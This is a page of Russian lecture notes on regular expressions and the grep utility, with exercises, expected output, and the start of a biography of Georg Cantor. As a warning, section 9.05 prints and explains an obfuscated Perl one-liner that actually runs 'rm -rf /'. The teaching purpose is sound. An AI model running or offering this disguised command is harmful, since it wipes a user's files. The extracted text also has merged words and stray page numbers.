Лекции Русакова (1021002), страница 30
Текст из файла (страница 30)
Внутри регулярного выражения можно указывать “подшаблоны”,заключая их в круглые скобки и ссылаться на них как “\ номер”. Перваяскобка обозначается как “\ 1”.9.04. Установканеобходимогопрограммногообеспечения.Для выполнения практического задания достаточно использоватьфильтр grep с синтаксисом PERL рекурсивно (параметр –Pr).280grep — утилита командной строки, которая находит на вводе строки,отвечающие заданному регулярному выражению, и выводит их, если выводне отменён специальным ключом.
Название представляет собой акрониманглийской фразы «search globally for lines matching the regular expression, andprint them» — «искать везде строки, соответствующие регулярномувыражению, и выводить их».Изначально была создана для операционной системы UNIX, и поэтомудля Linux подобных операционных систем команда grep присутствует поумолчанию.Пользователям Windows можно загрузить интерпретатор PERL(http://www.perl.org/get.html), также существует portable версия, которая нетребует установки.Наиболее простым и безопасным вариантом является использованиепортированнойподwindowsутилиты(http://rusakovam.narod.ru/lec/dm/lit/grep.exe).grepДалее,изможноUnixUtilsскопироватьgrep.exe в каталог Windows, тогда эта утилита будет запускаться также как ипод LINUX, то есть в обычном для неё синтаксисе.Команда поиска регулярного выражения в файле имеет синтаксис:grep -Pr "RegExp" File,где –Pr означает использовать синтаксис PERL рекурсивно;RegExp – это регулярное выражение;File – полный путь к файлу;9.05.
Замечания.Будьте осторожны, необдуманные эксперименты свыражениями могут привести к печальным последствиям.281регулярнымиОдним из таких примеров является вызвавшая большой резонанспрограмма, так как на самом деле она является замаскированной командойрекурсивного удаления всех файлов, право на удаление которых есть утекущего пользователя:echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:@[-`{-};`-{/" -;;s;;$_;see'echo "test... test... test..." выполнение этой команды не влияет на работуи добавлено, скорее всего, для усыпления бдительности.То, что происходит в остальном коде — совсем не очевидно из-запреднамеренно запутанного написания. В данной строчке записано всего трипоследовательно выполняемых команды. Запишем команду следующимобразом:$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;y; -/:-@[-`{-};`-{/" -; ;s;;$_;seeПервая конструкция анализирует переменную $? — код возвратапредыдущей команды.
Так как перед выполнением этой конструкциидочерних процессов не создавалось, $? будет содержать 0, и выполнена будетвторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь,заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первыйсимвол после s устанавливает ограничитель параметров этого оператора, ихотя традиционно используются слэш '/' или '|', для неясности в этойконструкции используется ограничитель ';').282Втораякомандатранслируетсодержимое«аккумулятора»подостаточно сложным правилам. В левой части указано четыре диапазонасимволов, в правой — один. Если раскрыть эти диапазоны, получимследующее соответствие:!"#$%&'()*+,-./:;<=>?@[\]^_`{|}`abcdefghijklmnopqrstuvwxyz{/" В результате содержимое $_ принимает видsystem"rm -rf /"Третья же команда дважды (как инструктирует флаг ee) «вычисляет»содержимое аккумулятора — вышеуказанную деструктивную команду — ипытается заменить пустую строку в аккумуляторе на результат вычисления.9.06.
Методический пример.1. Найти все строки в файле grep.txt, начинающихся с символа «+».grep -Pr "^[+]" r:\grep.txt2. Найти все строки в файле grep.txt, в формате одна цифра символ “+”одна цифра.grep -Pr "[0-9]\+[0-9]" r:\grep.txtgrep -Pr "\d\+\d" r:\grep.txt3. Найти все строки в файле grep.txt, в формате +x-xxx-xxxxxxx, где x –это цифра.grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt4. Найти все строки в файле grep.txt, в содержащие цифру с точкой.grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt2839.07. Контрольная распечатка.grep -Pr "^[+]" r:\grep.txt+7-123-7654321+7-123-7654321+7-123-7654521+7-123-1234567+7-123-765432111+7-926-5550001+MGUPI+6777grep -Pr "[0-9]\+[0-9]" r:\grep.txt11+15+233+8grep -Pr "\d\+\d" r:\grep.txt11+15+233+8grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt+7-123-7654321+7-123-7654321+7-123-7654521+7-123-1234567+7-926-5550001grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt-17.98+677722.082849.08.
Отчет по практической работе.Отчет оформляется в соответствии с требованиями, предъявляемыми коформлению лабораторных работ в вузе, и должен содержать:1. Титульный лист.2. Наименование и цель работы.3. Исходные данные варианта задания.4. Полученное регулярное выражение.5. Контрольная распечатка.Замечание: листы отчета должны быть скреплены.9.09. Контрольные вопросы.Что такое регулярное выражение?Какие действия выполняет команда grep?Что такое мета символы?Что такое модификаторы?Правила регулярного выражения?9.10. Варианты заданий.Вариант задания определяется по последней цифре в зачётной книжке.1. Регулярное выражение для поиска всех URL адресов содержащихв названии первой директории слова it-6 или it6 или it-5 или it5,в следующем виде:“http://www.mgupi.ru/xxx(it-6 или it6 или it-5 илиit5)xxx/index.php”, причём символы x означают любые буквы, которыхможет и не быть.2.
Регулярное выражение для поиска всех URL адресов содержащихв названии 3-го поддомена слова it-6 или it6 или it-5 или it5, в следующемвиде: “http:// xxx(it-6 или it6 или it-5 или it5)xxx.mgupi.ru/main/index.php”,причём символы x означают любые буквы, которых может и не быть.2853. Регулярное выражение для поиска всех URL адресов в следующемвиде: “http:// xxx.mgupi.ru/xxx”, причём символы x означают любые буквы,которых может и не быть.4. Регулярное выражение для поиска всех ip-адресов в диапазоне от172.22.50.0 до 172.22.116.255.5.
Регулярное выражение для поиска всех ip-адресов в диапазоне от192.168.10.0 до 192.168.112.255.6. Регулярное выражение для поиска всех e-mail адресов содержащихв качестве домена 3-го уровня слово “it” и две или одну цифру,в следующем виде: “xxx@xx{слово it две или одна цифра}xxx.mgupi.ru”,причём символы x означают любые буквы, которых может и не быть.7. Регулярное выражение для поиска всех e-mail адресов содержащихв качестве имени пользователя слова it6 или it5 и две или одну цифру вимени 2-го домена, по следующему формату: “xxx(it6 или it5)xxx@xxx{двеили одна цифра}xxx.ru”, причём символы x означают любые буквы,которых может и не быть.8. Регулярное выражение для поиска всех телефонных номеров c кодом916 или 903 или 926 в формате +x-(916 или 903 или 926)-xxxxxxx, где x –это одна цифра.9.
Регулярное выражение для поиска всех e-mail адресов содержащихв качестве имени пользователя семь цифр, а в домене 2-го уровня слова it6или it5, в следующем виде: “ddddddd@xxx(it6 или it5)xxx.xxx.ru”, причёмсимволы x означают любые буквы, которых может и не быть, а d – этоодна цифра.10. Регулярное выражение для поиска всех ip-адресов в диапазоне от10.131.37.0 до 10.131.158.255.286Глава 10. Дополнительные материалы.10.01. Биография Георга Кантора (основатель теориимножеств).Гео́рг Ка́нтор (нем. Georg Ferdinand Ludwig Philipp Cantor, 3 марта1845) — немецкий математик. Он наиболее известен как создатель теориимножеств, ставшей краеугольным камнем в математике.
Кантор ввёл понятиевзаимно-однозначного соответствия между элементами множеств, далопределения бесконечного и вполне-упорядоченного множеств и доказал, чтодействительных чисел «больше», чем натуральных. Теорема Кантора,фактически, утверждает существование «бесконечности бесконечностей». Онопределил понятия кардинальных и порядковых чисел и их арифметику. Егоработа представляет большой философский интерес, о чём и сам Канторпрекрасно знал.Теория Кантора о трансфинитных числах первоначально былавоспринята настолько нелогичной, парадоксальной и даже шокирующей, чтонатолкнулась на резкую критику со стороны математиков-современников, вчастности, Леопольда Кронекера и Анри Пуанкаре; позднее — ГерманаВейля и Лёйтзена Брауэра, а Людвиг Витгенштейн высказал возраженияфилософского плана (см. Споры о теории Кантора).
Некоторые христианскиебогословы (особенно представители неотомизма) увидели в работе Канторавызов уникальности абсолютной бесконечности природы Бога, приравняводнажды теорию трансфинитных чисел и пантеизм. Критика его трудов былапорой очень агрессивна: так, Пуанкаре называл его идеи «тяжёлойболезнью», поражающей математическую науку; а в публичных заявлениях иличных выпадах Кронекера в адрес Кантора мелькали иногда такие эпитеты,как «научный шарлатан», «отступник» и «развратитель молодёжи».Десятилетия спустя после смерти Кантора, Витгенштейн с горечью отмечал,что математика «истоптана вдоль и поперёк разрушительными идиомами287теории множеств», которое он отклоняет как «шутовство», «смехотворное» и«ошибочное».
Периодически повторяющиеся с 1884 года и до конца днейКантора приступы депрессии некоторое время ставили в вину егосовременникам, занявшим чересчур агрессивную позицию, но сейчассчитается, что эти приступы, возможно, были проявлением биполярногорасстройства.Резкой критике противостояли всемирная известность и одобрение. В1904 году Лондонское королевское общество наградило Кантора МедальюСильвестра, высшей наградой, которую оно могло пожаловать.